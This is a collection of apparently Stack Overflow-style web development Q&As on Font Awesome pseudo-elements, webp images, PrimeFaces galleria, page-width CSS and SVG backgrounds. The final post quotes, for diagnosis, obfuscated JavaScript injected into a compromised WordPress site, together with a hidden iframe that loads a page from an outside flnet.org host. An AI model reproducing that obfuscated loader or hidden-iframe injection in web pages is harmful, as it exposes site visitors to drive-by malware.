I can't get the icon to show up and I don't know what I'm doing wrong.
SASS:
p.wp-caption-text::before
font-family: "Font Awesome 5 Free"
font-weight: 900
content: "\f030"
I've tried Font Awesome Regular/ Solid as well as different font-weights or different icons.
This is a camera icon, that is part of the Free icons.
The kit JS file (Created 3 days ago) is loading, as is the min.css
This is confirmed because icons that are in the HTML as
<i class="fab fa-instagram fa-lg"></i>
are showing up fine.
Edit: Confirmed bug which no doubt will be fixed soon, AND
you need to add data-search-pseudo-elements for pseudo-elements to work
<script data-search-pseudo-elements defer src="https://kit.fontawesome.com/xxxxxxxxxxx.js"></script>
Related
i updated my website to new picture webp format instead of pngs.
It appears that google insights still is working on previous code, not considering the changes that have been done.
the project is here : https://www.marche-talensac.fr/
If you can see anything wrong, i thank you to have a word in here :)
Regards to you all ^^
The problem is that you are still serving the old image as well as the new image. You will see that your slider is adding the image as a background image via an inline style attribute.
<picture>
<source type="image/webp" srcset="https://www.marche-talensac.fr/css/home2.webp">
<source type="image/png" srcset="https://www.marche-talensac.fr/css/home2.png">
<img src="data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" style="width: 650px; height: 500px; background-image: url("https://www.marche-talensac.fr/css/home2.png");" class="homepng">
</picture>
If you remove whatever is causing that style to be added to your slide it should work as intended.
For clarity remove the code that injects style="width: 650px; height: 500px; background-image: url("https://www.marche-talensac.fr/css/home2.png");"
Also note that you have only updated the home page slider, all the other images are still served as .jpg files.
I am using PrimeFaces 7.0 on WildFly 16, JSF 2.3. (I also tried with PrimeFaces 6.2- but nothing changed).
I am using p:galleria tag as follows:
<p:galleria value="#{exposeBean.images}" var="image" panelWidth="500" panelHeight="313" showCaption="false">
<p:graphicImage id="image" value="#{image}" alt="#{image}" title="#{image}"/>
</p:galleria>
The above functionality works as expected, however the picture currenlty chosen does not fade at the bottom, where the rest of the images of the gallery are shown- see here:
What can be the reason, how can I solve it?
My minimal, working example seems to have something to do with the size of the images I use (at least, it seems to be like this.) :
https://github.com/alexmivonwien/pf.gall.git
After comparing the generated HTML and CSS in my case and in the case of the primeface galleria showcase I found the following difference:
1.) My own generated HTML and CSS:
note that the first "li" child under the "ul" element
<ul class="ui-galleria-panel-wrapper" style="width: 500px; height: 313px;">
has the CSS style (there is no display:none here):
<li class="ui-galleria-panel" style="width: 500px; height: 313px;">
2.) The HTML and CSS on the primefaces showcase:
Note that the first "li" element under the "ul" element
<ul class="ui-galleria-panel-wrapper" style="width: 500px; height: 313px;">
has the css style (there is a display:none here):
<li class="ui-galleria-panel" style="width: 500px; height: 313px; display: none;">
The only way this can be reproduced in the PrimeFaces showcase is by assigning an explicit height to the images. E.g. adding a css rule via a browser developer tool like img {height: 364px} makes this happen. This makes the big image btw not fully show what is in the thumbnail, it is cut-off at the right. And this can be seen in your screen dump as well. In the thumbnail there is way more visible of the sink on the right than in the big image. So this is with 100% certainty caused by some css that resizes the image or with a wrong aspect of the image compared to ttge dimensions put om the p:galeria
The actual technical cause of this is however not visible in the code in your question. Next time, always create a [mcve], by reducing more and more and more until you are either left with a very small piece of (complete, verifyable, executable) code that demonstrates the problem, OR you found the solution...
Effectively this problem is all plain css html related and nothing PrimeFaces specific.
I recently developed a website that looks good on 1024 resolution but gets messed up on larger resolutions. Here are the links to the files you will probably need to review: CSS for the site, CSS for the menu bar. It's a PHP file but I've already linked to the included HTML files.
I have a regular 17' screen while the client has a widescreen. She sees white space on the right side that I don't. I've only seen it as I have used the website viewlike.us to test on different resolutions. How can I make it so it resizes proportionality? Thanks.
This is because you set the body to be 1024 px
body {
width:1024px;
background-image:url(images/top_background.jpg);
background-repeat:no-repeat;
background-color:#FFF;
}
You don't want to do that, what you usually do is to have a page wrapper where you set the size to be 1024px.
For instance you can have this in html
<html>
<head>...</head>
<body>
<div id="pageWrapper">
<!-- all your content here -->
</div>
</body>
</html>
Then in the css you can have something like this:
#pageWrapper {
width:1024px;
margin: 0 auto;
}
You usually have an structure like this:
<html>
<head>...</head>
<body>
<div id="header-wrapper>
<div id="header>
<!-- header content here -->
</div>
</div>
<div id="pageWrapper">
<!-- all your content here -->
</div>
</body>
</html>
Then you can set an image for the header and another for the body, or an image for the header and a background color for the body. It all depends on what are you doing.
The background images usually are not that big. What you usually have are images or patterns that can be repeated either on X or Y or both. On the css you can have something like:
#headerWrapper {
width:100%;
height: 100px;
background: url("/img/background.png") repeat-x;
}
With this the image will repeat horizontally on the header. Then you can set another background for the body, or just a background color.
Again, it depends a lot on what are you trying to achive.
Good luck!!
I am trying to use a SVG with an embedded bitmap as a navigation element. The idea is to make it more mobile friendly. I already have a PNG fallback in place for IE8 and below.
Somehow the embedded bitmap doesn't show in webkit based browsers. SVG without bitmap embedded show just fine.
I can get the background to show in webkit using the "object" tag but then my links don't work, I can't control the width and I run into a documented bug of safari where image is not scaled and sliders appear.
See the page in question here:
http://www.izbornareforma.rs/izbori-2012/
All images are SVG, the four bottom one have embedded bitmap in them.
There are a number of similar question but none have a workable solution.
Suggestions welcome.
G.D.
This is a bug in Webkit. If you keep your current backgrounds and also load the same SVGs in an object tag you will see that the SVG backgrounds will load correctly with the embedded data. To work around this I would suggest you to create an invisible div where you load your SVGs in object tags, such as...
<div id="svgfix">
<object ... />
<object ... />
<object ... />
<object ... />
</div>
Your CSS:
#svgfix {
width: 0;
height: 0;
position: absolute;
visibility: hidden;
}
The corresponding Webkit bug was fixed and rolled-out with Safari 9.
I noticed the site was behaving strangely in IE8, and found in IE8 developer tools that it was rendering in quirks mode even though it uses the Doctype html declaration (which should make all browsers render in standards mode). In any case, in IE8 developer tools, some code was visible that wasn't visible in Chrome dev tools or in source code:
<script>if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='fromChar';f+='Code';}ee='e';e=window[zz];t='y';}h=Math.atan2(3,0)/Math.PI*-4;n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p51p56.5p56p52.5p59p50p59.5p54p52p53.5p22p50p53p54p49.5p57p22p54.5p56p50.5p22.5p49p22.5p25p23p25p22p55p51p55p30.5p50.5p54. --- etc. etc. </script>
This code above appears right before the Doctype declaration in this wordpress html - making IE8 render in Quirks Mode... what the heck is this? It seems to be inserting this html, including iframes with src pointing at flnet.org at the top of the html that should be there:
<HTML class=" js no-flexbox no-canvas no-canvastext no-webgl no-touch no-geolocation postmessage no-websqldatabase no-indexeddb hashchange no-history draganddrop no-websockets no-rgba no-hsla no-multiplebgs no-backgroundsize no-borderimage no-borderradius no-boxshadow no-textshadow no-opacity no-cssanimations no-csscolumns no-cssgradients no-cssreflections no-csstransforms no-csstransforms3d no-csstransitions fontface generatedcontent no-video no-audio localstorage sessionstorage no-webworkers no-applicationcache no-svg no-inlinesvg no-smil no-svgclippaths" sizcache="4" sizset="0">
<HEAD>
<STYLE class=iepp-printshim media=print></STYLE>
<TITLE>[website title]</TITLE>
<SCRIPT>[repeat of script from above]</SCRIPT>
</HEAD>
<BODY class="home page page-id-280 page-template page-template-gallery-php" sizcache="4" sizset="0">
<IFRAME style="DISPLAY: none" id=jQuery_history src="advanced.html"></IFRAME>
<IFRAME style="POSITION: absolute; VISIBILITY: hidden; TOP: 0px; LEFT: 0px" height=10 src="http://hsrkxfyujm.flnet.org/d/404.php?go=1" width=10></IFRAME>
So, because the doctype isn't first, IE8 renders in Quirks Mode; more importantly, this seems to be a security incursion. Does anyone recognize it or know how to deal with it in WordPress... ?
The code you're seeing these is obfuscated JavaScript. It is a symptom of your site being compromised.